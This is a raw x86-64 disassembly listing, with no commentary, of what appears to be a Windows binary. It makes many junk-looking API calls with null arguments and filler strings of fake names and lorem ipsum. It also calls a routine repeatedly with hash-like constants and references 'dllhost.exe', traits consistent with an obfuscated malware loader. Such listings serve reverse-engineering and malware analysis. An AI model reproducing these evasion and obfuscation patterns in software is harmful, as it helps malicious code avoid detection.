mov rax, qword [0x004cae90]
mov edx, dword [rax]
mov rax, qword [0x004ca430]
mov dword [rax], edx
mov rax, qword [0x004ca9b0]
mov eax, dword [rax]
mov dword [rsi], eax
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov qword [rsp + 0x70], rax
call rax
mov rsi, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_EscapeCommFunction]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov rax, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x50], rax
call rax
mov ecx, 0x4d6e456b
call fcn.00414620
mov rdx, qword [0x004ca6a0]
mov ecx, 0x737abf74
mov dword [rdx], eax
call fcn.00414620
mov rdi, qword [0x004ca330]
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [sym.imp.KERNEL32.dll_SetCommBreak]
mov qword [rsp + 0x78], rax
call rax
xor ecx, ecx
call rsi
mov r12, qword [0x004ca820]
mov rax, qword [0x004ca530]
mov ecx, 0x5d73b23e
mov edx, dword [r12]
mov dword [rax], edx
call fcn.00414620
mov dword [rbx], eax
mov rax, qword [0x004ca9f0]
mov ecx, dword [rax]
call fcn.00414620
xor edx, edx
xor ecx, ecx
mov dword [rbx], eax
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004ca230]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca740]
xor ecx, ecx
mov dword [rdi], eax
call rsi
mov rax, qword [0x004caa10]
mov rdi, qword [0x004ca5b0]
xor ecx, ecx
mov r14, qword [sym.imp.KERNEL32.dll_SetLastError]
mov dword [rax], 0x38b16e9
mov rax, qword [0x004cadb0]
mov dword [rdi], 0x4a6292fe
mov dword [rax], 0x81b5c5cc
call r14
mov r13, qword [0x004cabb0]
mov ecx, dword [r13]
call fcn.00414620
mov rdx, qword [0x004caa70]
lea rcx, str.AlyciaWiza
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.HannaSauerII
mov qword [rsp + 0x80], rax
call rax
lea r8, str.Voluptas_vel_aperiam_ut_quos_animi
xor edx, edx
xor ecx, ecx
mov rbp, qword [sym.imp.KERNEL32.dll_OpenEventA]
call rbp
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x60]
call rax
mov rax, qword [0x004ca7b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caf00]
mov dword [rdx], eax
mov rax, qword [0x004ca700]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004caad0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca280]
xor edx, edx
mov dword [rax], 0x89352e56
mov rax, qword [rsp + 0x48]
call rax
mov ecx, 0x9a19c0dd
call fcn.00414620
mov rbx, qword [0x004ca670]
mov dword [rbx], eax
mov rax, qword [0x004ca9c0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca7e0]
mov ecx, 0x8a3b9da2
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004cad90]
xor r9d, r9d
xor r8d, r8d
mov rbx, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
mov dword [rdx], eax
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004cabc0]
xor r9d, r9d
xor r8d, r8d
mov rdx, qword [0x004ca2c0]
mov r11, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor ecx, ecx
mov eax, dword [rax]
mov qword [rsp + 0xb0], r11
mov dword [rdx], eax
mov rax, qword [0x004caf80]
xor edx, edx
mov dword [rax], 0xaf66c512
mov rax, qword [0x004caca0]
mov eax, dword [rax]
mov dword [r12], eax
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r11
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov rax, qword [0x004ca450]
xor ecx, ecx
mov r15, qword [sym.imp.KERNEL32.dll_FindClose]
mov dword [r13], 0xf683cbd4
mov dword [rax], 0x262ea3df
mov rax, qword [0x004ca5d0]
mov edx, dword [rax]
mov rax, qword [0x004caac0]
mov dword [rax], edx
mov rax, qword [0x004ca480]
mov edx, dword [rax]
mov rax, qword [0x004ca4e0]
mov dword [rax], edx
call r15
mov rax, qword [0x004cabe0]
mov r13, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
mov dword [rax], 0xaedda21e
mov rax, qword [0x004ca3a0]
mov edx, dword [rax]
mov rax, qword [0x004caab0]
mov dword [rax], edx
call r13
mov ecx, 0x12e6fc1d
call fcn.00414620
mov rdx, qword [0x004cab50]
xor ecx, ecx
lea r8, str.Perspiciatis_ullam_voluptatem_qui_quidem
mov dword [rdx], eax
xor edx, edx
call rbp
mov rax, qword [0x004ca450]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x6ae54cfd
mov dword [rsp + 0x20], 0
call rbx
mov edx, dword [rdi]
mov rax, qword [0x004caa90]
mov dword [rax], edx
mov rax, qword [0x004cac40]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004cae70]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004ca2c0]
mov rcx, qword [0x004ca5e0]
mov eax, dword [rax]
mov dword [rcx], eax
xor ecx, ecx
call r14
mov rax, qword [0x004ca9e0]
mov rbp, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
mov rax, qword [0x004ca680]
mov dword [rax], 0xacf75fec
call rbp
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov rax, qword [0x004caeb0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca740]
mov r12, qword [sym.imp.KERNEL32.dll_SetEndOfFile]
xor ecx, ecx
mov dword [rdi], eax
call r12
mov rax, qword [0x004ca300]
xor ecx, ecx
mov dword [rax], 0xbf332696
call r12
mov rax, qword [0x004ca9b0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca370]
mov dword [rdx], eax
mov rax, qword [0x004cab30]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004ca210]
mov dword [rdx], eax
xor edx, edx
mov dword [rsp + 0x20], 0
call rbx
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x48]
call rax
mov rax, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.MissArleneCollier
mov qword [rsp + 0x88], rax
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
mov rdi, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call r12
xor edx, edx
mov rax, qword [rsp + 0x48]
xor ecx, ecx
call rax
lea rcx, str.EliseMarquardt
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
xor ecx, ecx
call rbp
xor r9d, r9d
xor r8d, r8d
mov r11, qword [rsp + 0xb0]
xor edx, edx
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r11
mov rax, qword [0x004ca470]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca1e0]
mov ecx, 0xec9227f6
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca670]
xor ecx, ecx
mov dword [rdx], eax
call rbp
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
lea rdx, str.CeasarCruickshank
lea rcx, str.ProfDanykaSchmeler
mov rax, qword [rsp + 0x80]
call rax
mov r11, qword [0x004caf40]
mov rax, qword [0x004ca3e0]
xor ecx, ecx
mov edx, dword [r11]
mov dword [rax], edx
mov rax, qword [0x004ca540]
mov edx, dword [rax]
mov rax, qword [0x004ca5f0]
mov dword [rax], edx
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
lea rdx, str.DrJulianneWolfJr
lea rcx, str.MarcelDaniel
mov rax, qword [rsp + 0x80]
call rax
xor ecx, ecx
mov rax, qword [rsp + 0x78]
call rax
mov r11, qword [0x004caf40]
mov rax, qword [0x004ca1f0]
xor ecx, ecx
mov dword [r11], 0x88992694
mov dword [rax], 0xf18533be
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
mov rax, qword [0x004cad60]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov rcx, qword [0x004ca9e0]
mov dword [rcx], eax
xor ecx, ecx
call rdi
xor ecx, ecx
call r15
mov rax, qword [0x004ca4a0]
mov r15, qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
xor ecx, ecx
mov dword [rax], 0xb56db197
call r15
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
xor ecx, ecx
call rsi
mov rax, qword [0x004ca490]
xor ecx, ecx
mov dword [rax], 0x984f8e6f
call rbp
xor ecx, ecx
call r14
mov rax, qword [0x004caf70]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0x3fde34ae
mov rax, qword [rsp + 0x60]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
mov rax, qword [0x004ca330]
mov edx, dword [rax]
mov rax, qword [0x004ca570]
mov dword [rax], edx
mov rax, qword [str.7U5]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca610]
lea rcx, str.AugustineWolff
mov dword [rdx], eax
mov rax, qword [rsp + 0x88]
call rax
xor ecx, ecx
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rdi
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
mov rax, qword [0x004ca780]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caf30]
mov dword [rax], edx
call r13
xor r9d, r9d
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbx
xor ecx, ecx
mov rax, qword [rsp + 0xa0]
call rax
xor ecx, ecx
call r13
lea rcx, str.ClaudeKirlin
mov rax, qword [rsp + 0x88]
call rax
mov rax, qword [0x004ca220]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004ca9e0]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
mov rax, qword [rsp + 0x68]
call rax
lea rcx, str.DaijaGerlach
mov rax, qword [rsp + 0x58]
call rax
xor ecx, ecx
call r14
xor ecx, ecx
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call r15
mov rax, qword [0x004ca3b0]
xor r9d, r9d
xor r8d, r8d
mov rdi, qword [0x004ca450]
xor edx, edx
xor ecx, ecx
mov eax, dword [rax]
mov dword [rdi], eax
mov dword [rsp + 0x20], 0
call rbx
mov rbx, qword [0x004cae60]
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x48]
mov dword [rbx], 0xd71886ca
call rax
mov rax, qword [0x004cabd0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa00]
mov dword [rax], edx
mov rax, qword [rsp + 0x70]
call rax
xor ecx, ecx
call r15
mov rax, qword [0x004ca810]
mov rdi, qword [0x004cabc0]
xor ecx, ecx
mov dword [rax], 0x2b8e619a
mov rax, qword [0x004ca5e0]
mov eax, dword [rax]
mov dword [rdi], eax
call rbp
mov rax, qword [0x004caaf0]
mov dword [rax], 0x639a38ab
mov rax, qword [0x004cadf0]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004cae90]
xor ecx, ecx
mov dword [rdi], eax
call rsi
xor ecx, ecx
call r12
mov rax, qword [0x004ca1d0]
mov ecx, dword [rbx]
mov dword [rax], 0xf43b738c
call fcn.00414620
mov rdx, qword [0x004cae50]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [str.eNl.h_Q]
mov dword [rax], 0x3dbfd192
mov rax, qword [rsp + 0x70]
call rax
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x68]
call rax
xor ecx, ecx
call rsi
xor ecx, ecx
call r14
mov rax, qword [0x004cab10]
mov r10, qword [rsp + 0xb8]
mov dword [rax], 0x5e8a5ca6
inc r10
jmp 0x40c32d
test eax, eax
je 0x40da97
mov rdi, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
call rdi
mov ecx, 0x9d8f81ed
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [str.Z2iy]
mov r15, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r15
mov rax, qword [0x004ca9f0]
mov rsi, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004caa00]
mov dword [rax], edx
call rsi
mov rbx, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call rbx
mov rax, qword [0x004caf50]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xcc077ddc
call qword [sym.imp.KERNEL32.dll_GetCommModemStatus]
mov rax, qword [0x004cae70]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca6c0]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca1c0]
xor edx, edx
mov dword [rax], 0x78716316
call rbx
mov rax, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov rbp, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor edx, edx
xor ecx, ecx
call rbp
mov rax, qword [0x004caa50]
mov r11, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca320]
mov qword [rsp + 0x60], r11
mov dword [rax], edx
mov rax, qword [0x004ca820]
mov rdx, qword [0x004ca450]
mov dword [rax], 0x795f51f2
mov rax, qword [0x004caf80]
mov eax, dword [rax]
mov dword [rdx], eax
call r11
mov rax, qword [0x004ca290]
mov r12, qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
xor ecx, ecx
mov dword [rax], 0xa569ecfd
mov rax, qword [0x004cac90]
mov dword [rax], 0x9d99dc35
call r12
mov ecx, 0x63bdcb9e
call fcn.00414620
mov rcx, qword [0x004caa70]
mov r13, qword [str.eNl.h_Q]
xor r8d, r8d
xor edx, edx
mov dword [rcx], eax
mov rax, qword [0x004ca400]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r13], eax
mov rax, qword [0x004ca9a0]
mov dword [rax], 0x7ed4e6d
call rbx
mov ecx, 0x1188df84
call fcn.00414620
mov rdx, qword [0x004ca6f0]
mov ecx, 0x56e52564
mov dword [rdx], eax
call fcn.00414620
mov rdx, qword [0x004ca6d0]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor edx, edx
mov qword [rsp + 0x50], rax
call rax
xor edx, edx
lea rcx, str.VaughnCummings
call qword [sym.imp.KERNEL32.dll_WaitNamedPipeA]
mov rax, qword [0x004cab00]
xor ecx, ecx
mov dword [rax], 0x294e0392
mov rax, qword [0x004ca4c0]
mov edx, dword [rax]
mov rax, qword [0x004caca0]
mov dword [rax], edx
mov rax, qword [0x004ca660]
mov rdx, qword [0x004ca6b0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca430]
mov dword [rax], 0x610e06e6
call qword [sym.imp.ADVAPI32.dll_ImpersonateLoggedOnUser]
mov r14, qword [0x004cab20]
mov rax, qword [0x004caf30]
xor ecx, ecx
mov edx, dword [r14]
mov dword [rax], edx
call rdi
mov rax, qword [0x004cad90]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cab70]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [r14], 0x26d2b561
call rbx
mov ecx, dword [r13]
call fcn.00414620
mov rdx, qword [0x004cab50]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca2e0]
mov dword [rax], 0x59e0c24b
call rdi
mov rax, qword [0x004cab10]
xor edx, edx
xor ecx, ecx
lea r8, str.ChristBatz
mov dword [rax], 0x959d992
call qword [sym.imp.KERNEL32.dll_OpenEventA]
mov rax, qword [0x004caad0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca780]
mov dword [rax], edx
xor edx, edx
call rbp
xor ecx, ecx
call r12
xor edx, edx
xor ecx, ecx
mov r13, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
call r13
mov r10, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
mov qword [rsp + 0x58], r10
call r10
mov r14, qword [0x004caec0]
xor ecx, ecx
mov rax, qword [rsp + 0x48]
mov dword [r14], 0xa138375a
call rax
mov rax, qword [0x004cac90]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca370]
xor r8d, r8d
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004cadd0]
mov dword [rax], 0x426e1c3f
mov rax, qword [0x004cad80]
mov ecx, dword [rax]
call fcn.00414620
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
mov rdx, qword [0x004caaa0]
mov dword [rdx], eax
xor edx, edx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call r15
mov rax, qword [0x004ca400]
mov rbx, qword [0x004ca750]
mov dword [r14], 0x56b0492c
mov r15, qword [0x004ca610]
mov r14, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.ProfChazBatzI
mov eax, dword [rax]
mov dword [r15], 0x79cfabef
mov dword [rbx], eax
mov rax, qword [0x004ca6b0]
mov dword [rax], 0x25ec9152
call r14
mov rax, qword [0x004ca1c0]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xd15bc9d0
call rbp
xor edx, edx
xor ecx, ecx
mov rax, qword [rsp + 0x50]
call rax
mov r10, qword [rsp + 0x58]
xor ecx, ecx
call r10
mov rax, qword [0x004caab0]
xor ecx, ecx
mov dword [rax], 0x62499424
mov rax, qword [0x004ca480]
mov dword [rax], 0x51496311
mov rax, qword [0x004ca2e0]
mov dword [rax], 0xcca99de5
call r12
mov rax, qword [0x004cadd0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca460]
xor ecx, ecx
mov dword [rdx], eax
call r12
mov rax, qword [0x004cac40]
lea rcx, str.Ea_quia_vero_corporis_non_alias_sequi_fugit
mov edx, dword [rax]
mov rax, qword [0x004caee0]
mov dword [rax], edx
mov rax, qword [0x004cab40]
mov dword [rax], 0x4dbcde6
call r14
mov eax, dword [r15]
mov rcx, qword [0x004ca450]
mov dword [rcx], eax
mov rax, qword [0x004cade0]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca1b0]
mov dword [rax], edx
mov rax, qword [0x004ca2e0]
mov edx, dword [rax]
mov rax, qword [0x004caa30]
mov dword [rax], edx
mov rax, qword [rsp + 0x48]
call rax
xor edx, edx
xor ecx, ecx
call r13
xor ecx, ecx
call rsi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetLastError]
lea rdx, str.In_voluptatum_rerum_atque_neque_nostrum_nihil_sit_optio_voluptatibus_laboriosam
lea rcx, str.Voluptatum_illum_cupiditate
call qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
xor edx, edx
xor ecx, ecx
call rbp
xor ecx, ecx
call rsi
mov rax, qword [0x004cab60]
xor ecx, ecx
mov dword [rax], 0x90445f09
call rdi
mov rax, qword [0x004ca500]
mov edx, dword [rax]
mov rax, qword [0x004cad20]
mov dword [rax], edx
mov rax, qword [0x004ca1d0]
mov edx, dword [rax]
mov rax, qword [0x004ca7b0]
mov dword [rax], edx
mov rax, qword [0x004ca440]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac00]
xor ecx, ecx
mov dword [rdx], eax
call rsi
mov r11, qword [rsp + 0x60]
xor ecx, ecx
call r11
xor ecx, ecx
call rsi
mov rax, qword [0x004ca5a0]
mov eax, dword [rax]
mov dword [rbx], eax
mov rax, qword [0x004caa70]
mov dword [rax], 0xf9afda37
mov edx, dword [rsp + 0x9c]
mov rcx, qword [rsp + 0x90]
lea r8, str.dllhost.exe
call fcn.0040523d
mov rax, qword [0x004cacb0]
cmp dword [rax], 0x4300
jne 0x40e1d6
mov r13, qword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
xor ecx, ecx
call r13
mov rsi, qword [sym.imp.KERNEL32.dll_FlushFileBuffers]
xor ecx, ecx
call rsi
mov r11, qword [sym.imp.KERNEL32.dll_FindClose]
xor ecx, ecx
mov qword [rsp + 0x68], r11
call r11
mov r10, qword [0x004cad50]
mov rdi, qword [0x004caed0]
xor ecx, ecx
mov eax, dword [r10]
mov dword [rdi], eax
mov rax, qword [0x004ca4d0]
mov dword [rax], 0xe18b1c09
call rsi
mov rax, qword [sym.imp.KERNEL32.dll_SetCommBreak]
xor ecx, ecx
mov qword [rsp + 0x48], rax
call rax
mov rbp, qword [sym.imp.KERNEL32.dll_lstrlenA]
lea rcx, str.HelenaMurray
call rbp
mov ecx, 0xa2452c91
call fcn.00414620
mov rdx, qword [0x004ca1c0]
mov rbx, qword [sym.imp.KERNEL32.dll_SetCommMask]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call rbx
mov rax, qword [0x004ca550]
mov rdx, qword [0x004ca340]
mov rcx, qword [0x004ca440]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca4d0]
mov eax, dword [rax]
mov dword [rcx], eax
mov ecx, 0xaa71cc85
call fcn.00414620
mov rdx, qword [0x004cae30]
mov dword [rdx], eax
mov rax, qword [0x004cabd0]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca350]
mov r15, qword [sym.imp.KERNEL32.dll_FindNextStreamW]
xor ecx, ecx
mov dword [rdx], eax
xor edx, edx
call r15
mov rax, qword [0x004cabc0]
mov r12, qword [sym.imp.KERNEL32.dll_SetLastError]
xor ecx, ecx
mov dword [rax], 0xb232f5c9
call r12
mov rax, qword [0x004ca360]
mov rdx, qword [0x004cad40]
xor ecx, ecx
mov dword [rax], 0xe983a2ad
mov rax, qword [0x004ca1a0]
mov dword [rax], 0x83cb0a62
mov rax, qword [0x004ca1f0]
mov eax, dword [rax]
mov dword [rdx], eax
mov rax, qword [0x004ca680]
mov dword [rax], 0x472dc8db
call r12
xor edx, edx
xor ecx, ecx
call rbx
mov r14, qword [sym.imp.ADVAPI32.dll_RegisterEventSourceA]
lea rdx, str.FrancesMosciskiII
lea rcx, str.Et_aut_omnis_nesciunt_facere_debitis
call r14
mov rax, qword [sym.imp.ADVAPI32.dll_ReadEventLogA]
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov dword [rsp + 0x20], 0
xor ecx, ecx
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov qword [rsp + 0x50], rax
call rax
lea rcx, str.Libero_dolorem_ut_a_atque_aperiam_ipsam
call rbp
xor ecx, ecx
call r13
mov ecx, dword [rdi]
mov rax, qword [0x004caba0]
mov dword [rax], 0x121199f9
call fcn.00414620
mov rdx, qword [0x004cadf0]
mov dword [rdx], eax
mov rax, qword [0x004cab00]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca6b0]
mov dword [rdx], eax
mov rax, qword [0x004ca260]
mov ecx, dword [rax]
call fcn.00414620
mov rdi, qword [0x004cae70]
xor edx, edx
xor ecx, ecx
mov dword [rdi], eax
call rbx
mov rax, qword [0x004ca370]
xor edx, edx
xor ecx, ecx
mov dword [rax], 0xa75edce6
call qword [sym.imp.ADVAPI32.dll_NotifyChangeEventLog]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_SetEndOfFile]
mov rdi, qword [sym.imp.KERNEL32.dll_SetEvent]
xor ecx, ecx
call rdi
xor ecx, ecx
call r12
xor ecx, ecx
call rsi
xor r9d, r9d
mov rbp, qword [sym.imp.ADVAPI32.dll_RegNotifyChangeKeyValue]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
mov dword [rsp + 0x20], 0
call rbp
xor ecx, ecx
call qword [sym.imp.ADVAPI32.dll_ImpersonateAnonymousToken]
mov rax, qword [str.Z2iy]
mov r10, qword [0x004cad50]
xor ecx, ecx
mov dword [rax], 0xbc94f46f
mov rax, qword [0x004ca640]
mov eax, dword [rax]
mov dword [r10], eax
mov rax, qword [rsp + 0x48]
call rax
mov r10, qword [sym.imp.KERNEL32.dll_OpenEventA]
xor edx, edx
xor ecx, ecx
lea r8, str.Ut_qui_est_atque_totam_rerum_porro_accusamus
mov qword [rsp + 0x60], r10
call r10
mov rax, qword [0x004cad70]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca310]
mov dword [rax], edx
call r13
xor edx, edx
xor ecx, ecx
call r15
mov r15, qword [0x004ca290]
xor r9d, r9d
xor r8d, r8d
mov rax, qword [0x004cae00]
xor ecx, ecx
mov edx, dword [r15]
mov dword [rax], edx
xor edx, edx
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0x30], 0
mov qword [rsp + 0x28], 0
mov dword [rsp + 0x20], 0
call rax
mov rax, qword [0x004ca2b0]
xor ecx, ecx
mov dword [rax], 0xd831f026
mov rax, qword [0x004cab40]
mov dword [rax], 0xa7b11e81
call rdi
mov rax, qword [0x004cae20]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac40]
mov r9, qword [sym.imp.KERNEL32.dll_WaitForSingleObjectEx]
xor ecx, ecx
xor r8d, r8d
mov dword [rdx], eax
mov rax, qword [0x004cab00]
mov qword [rsp + 0x58], r9
mov edx, dword [rax]
mov rax, qword [0x004caeb0]
mov dword [rax], edx
xor edx, edx
call r9
mov rax, qword [0x004ca4f0]
mov ecx, 0x9d018afa
mov dword [rax], 0x80c07ef7
call fcn.00414620
mov rcx, qword [0x004cae70]
mov r13, qword [0x004ca390]
mov dword [rcx], eax
mov rax, qword [0x004ca570]
xor ecx, ecx
mov eax, dword [rax]
mov dword [r13], eax
call rsi
mov rax, qword [0x004ca5f0]
lea rcx, str.Incidunt_cum_non_quo_aut
mov edx, dword [rax]
mov rax, qword [0x004ca3a0]
mov dword [rax], edx
lea rdx, str.NyasiaDooleyDDS
call r14
mov rax, qword [0x004ca5b0]
xor ecx, ecx
mov dword [rax], 0xd944f4be
call rsi
mov rax, qword [0x004cac20]
xor ecx, ecx
mov edx, dword [rax]
mov rax, qword [0x004ca410]
mov dword [rax], edx
xor edx, edx
call rbx
mov rax, qword [0x004cabc0]
mov ecx, dword [rax]
call fcn.00414620
mov rsi, qword [0x004caaa0]
mov ecx, dword [r13]
mov dword [rsi], eax
mov rax, qword [0x004caf70]
mov rsi, qword [0x004ca7d0]
mov eax, dword [rax]
mov dword [rsi], 0x5cae3e88
mov dword [r15], eax
call fcn.00414620
mov rdx, qword [0x004ca210]
mov ecx, 0xb15359bd
mov dword [rdx], eax
mov rax, qword [0x004cad40]
mov dword [rax], 0x6417d005
call fcn.00414620
mov rdx, qword [0x004ca9f0]
mov ecx, 0xd05fd4a1
mov dword [rdx], eax
mov rax, qword [0x004ca9d0]
mov edx, dword [rax]
mov rax, qword [0x004ca430]
mov dword [rax], edx
mov rax, qword [0x004caca0]
mov dword [rax], 0xe4da9876
call fcn.00414620
mov ecx, 0x15bdc994
mov dword [rsi], eax
call fcn.00414620
mov rdx, qword [0x004ca510]
mov dword [rdx], eax
mov rax, qword [0x004ca340]
mov dword [rax], 0x636d5f91
mov rax, qword [0x004ca1a0]
mov dword [rax], 0x58b744ed
mov rax, qword [0x004ca360]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004ca3c0]
mov r13, qword [sym.imp.KERNEL32.dll_GetFileType]
xor ecx, ecx
mov dword [rdx], eax
call r13
mov r9, qword [rsp + 0x58]
xor r8d, r8d
xor edx, edx
xor ecx, ecx
call r9
mov rax, qword [0x004cac90]
mov rsi, qword [sym.imp.KERNEL32.dll_SetCurrentDirectoryA]
lea rcx, str.KadeSchultz
mov dword [rax], 0x20efc312
call rsi
xor r9d, r9d
xor r8d, r8d
xor edx, edx
mov r14, qword [sym.imp.KERNEL32.dll_SetNamedPipeHandleState]
xor ecx, ecx
call r14
xor ecx, ecx
call r12
mov rax, qword [0x004ca730]
mov ecx, dword [rax]
call fcn.00414620
mov rdx, qword [0x004cac80]
xor ecx, ecx
mov dword [rdx], eax
mov rax, qword [0x004ca4d0]
xor edx, edx
mov dword [rax], 0x686e8fc9
call rbx
